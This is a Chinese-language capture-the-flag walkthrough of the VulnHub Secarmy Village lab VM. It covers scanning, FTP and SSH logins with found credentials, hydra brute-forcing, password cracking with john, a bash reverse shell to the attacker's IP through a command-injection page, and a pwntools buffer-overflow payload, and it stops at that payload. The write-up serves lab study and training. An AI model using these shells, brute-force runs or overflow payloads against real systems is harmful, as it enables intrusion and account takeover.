Secarmy Village: Grayhat Conference靶场
Secarmy Village: Grayhat Conference
来自 <Secarmy Village: Grayhat Conference ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.224
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.224
端口/服务 | 风险等级 | 详细风险 | 建议措施 |
21/tcp (FTP) | 高 | - 允许匿名登录(Anonymous FTP),可能泄露敏感文件。 - vsftpd 3.0.3可能存在未修复漏洞(如CVE-2020-8816)。 | 1. 禁用匿名登录。 2. 限制FTP目录权限。 3. 升级到最新版本。 |
22/tcp (SSH) | 中 | - OpenSSH 7.6p1版本较旧,可能存在弱密码或密钥泄露风险。 | 1. 禁用密码认证,强制使用密钥登录。 2. 升级至OpenSSH 9.6+版本。 3. 限制SSH访问IP范围。 |
80/tcp (HTTP) | 高 | - Apache 2.4.29存在旧漏洞(如CVE-2017-15715)。 - 网站标题暗示潜在漏洞风险。 | 1. 升级Apache至2.4.57+。 2. 扫描Web目录(使用gobuster或dirb)。 3. 检查SQL注入/XSS等漏洞。 |
1337/tcp (自定义服务) | 高 | - 密码恢复功能需输入“令牌”,可能为硬编码凭证或存在逻辑漏洞(如缓冲区溢出)。 | 1. 通过FTP/HTTP获取潜在令牌。 2. 使用netcat手动交互测试。 3. 审计服务代码逻辑,移除硬编码凭证。 |
4,尝试匿名访问,发现什么都没有
ftp anonymous@192.168.23.224
访问80端口开放的http服务
对网站存在的隐藏子目录进行扫描
dirb http://192.168.23.224
查看页面源代码得到一些内容(因为文字选择白色所以无法直接看见)
view-source:http://192.168.23.224/anon/
5,再次尝试登录到ftp服务器上,账户密码:uno/luc10r4m0n
下载下来查看内容
get flag1.txt
get readme.txt
得到了flag1和重要提示信息
通过在ftp服务器的信息收集可以知道所有用户名
ls /home
保存成为一个字典,然后进行hydra爆破
hydra -L users.txt -p 4b3l4rd0fru705 192.168.23.224 ftp
hydra -L users.txt -p 4b3l4rd0fru705 192.168.23.224 ssh
甚至可以ssh登录了
6,ftp上线dos用户,password:4b3l4rd0fru705
ftp dos@192.168.23.224
信息收集发现有两个文件1137.txt和readme.txt,保存下来看看。
然后把巨大的files文件夹里面的内容下载出来
mkdir ftp
cd ftp
prompt
mget *
7,1337.txt提示要通过nc连接靶机的1337端口,我们可以使用该命令来连接,连接后需要token
readme.txt,说需要在files这个目录里的一堆文件中找到有'a8211ac1853a1235d48829414626512a'这字符串。使用python脚本完成
import re def find_str(num): file_text = open(f'ftp/file{num}.txt').readlines() pattern = re.compile(r'^.*'+'a8211ac1853a1235d48829414626512a'+r'.*$') for line in file_text: if pattern.search(line): print('file'+str(num)+'.txt') break if __name__ == '__main__': for i in range(0,5001): find_str(i) |
成功找到对应文件
有提示去看file3131.txt,最后是base64编码,将其转换成zip文件
vim encode.txt
cat encode.txt | tr -d '\n' | base64 -d > output.zip
然后读取这些文件
得到了flag2
8,nc连接之后输入我们得到的token:c8e6afe38c2ae9a0283ecfb4e1b7c10f7d96e54c39e727d0e5515ba24a4d1f1b
得到一个账户和密码,登录ftp服务器
tres:r4f43l71n4j3r0
ftp tres@192.168.23.224
下载文件夹下面的三个文件,读取文本文件
已向当前文件夹中的 secarmy-village 二进制文件添加一组条件语句。请逆向该文件并获取第四个用户的凭据。如果访问文件时遇到问题,可前往以下链接下载:
https://mega.nz/file/XodTiCJD#YoLtnkxzRe_BInpX6twDn_LFQaQVnjQufFj3Hn1iEyU
9,upx脱壳文件
upx -d secarmy-village
然后查看文件内容,得到第四个用户名密码
strings secarmy-village
cuatro:p3dr00l1v4r3z
ftp cuatro@192.168.23.224
登录成功下载第四个flag和关键提示
10,根据提示访问网站的一个隐藏目录/justanothergallery
http://192.168.23.224/justanothergallery/
得到一个二维码,第53扫一下即可得到用户密码 cinco:ruy70m35
http://192.168.23.224/justanothergallery/qr/image-53.png
11,ftp服务器访问
ftp cinco@192.168.23.224
下载这两个文件然后读取
然后ssh上线用户
ssh cinco@192.168.23.224
寻找属主属于cinco用户的文件
find / -user cinco 2>/dev/null
先赋予权限给shadow.bak,再通过kali的scp下载它
scp cinco@192.168.23.224:/cincos-secrets/shadow.bak /root/
解密bak文件得到账户和密码 seis:Hogwarts
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.bak
12,使用ftp服务器登录,下载该用户的两个文件
然后读取之
提示访问一个隐藏网页
http://192.168.23.224/shellcmsdashboard/
扫描一下网站子目录
dirsearch -u http://192.168.23.224/shellcmsdashboard/ -x 404,403
http://192.168.23.224/shellcmsdashboard/robots.txt
得到账户密码访问一下,admin/qwerty
得到一个页面,访问一下
http://192.168.23.224/shellcmsdashboard/aabbzzee.php
发现这个网页存在命令执行漏洞,直接反弹shell
bash -c "bash -i >& /dev/tcp/192.168.23.182/4444 0>&1"
然后kali监听4444端口,成功getshell
13,信息收集一下,得到一个用户名密码
chmod 7777 readme9213.txt
cat readme9213.txt
依然使用hydra进行爆破
hydra -L users.txt -p 6u1l3rm0p3n473 192.168.23.224 ssh
是siete用户的6u1l3rm0p3n473,ftp上线登录一下
都导出来看看
看看文件内容
通过key.txt里的x,十进制为120,对于每个字节,我们执行xor并将得到的结果通过函数chr来转换成字符从而形成字符串
python -c 'print("".join([chr(x ^ 120) for x in bytearray([11,29,27,25,10,21,1,0,23,10,17,12,13,8])]))'
得到了password.zip的解压密码secarmyxoritup
14,依然hydra爆破下一个用户的账户密码
hydra -L users.txt -p m0d3570v1ll454n4 192.168.23.224
ftp ocho@192.168.23.224
然后分析得到的两个文件
wireshark keyboard.pcapng
在过滤器输入http.request.method==GET
有个none.txt,然后追踪流看看内容
把这个密文进行解密 mjwfr?2b6j3a5fx/
Keyboard Shift Cipher - Key Offset - Online Decoder, Translator
拿到下一个用户的账户密码 nueve:355u4z4rc0
15,然后ftp登录下一个用户
下载三个文件,然后读取
16,只要local_10==0xcafebabe即可获得root shell,所以我们要用值覆盖long这个变量,先通过靶机用socat命令开启8000端口监听
socat TCP-LISTEN:8000 EXEC:./orangutan
接着在kali编写py脚本,以相反的顺序发送所需的值,这里借用国外wp的脚本
from pwn import *
offset = b"A" * 24
secret = b"\xbe\xba\xfe\xca"
payload = offset + secret
conn = remote('192.168.23.224',8000)
print(conn.recvline())
print(conn.recvline())
conn.sendline(payload)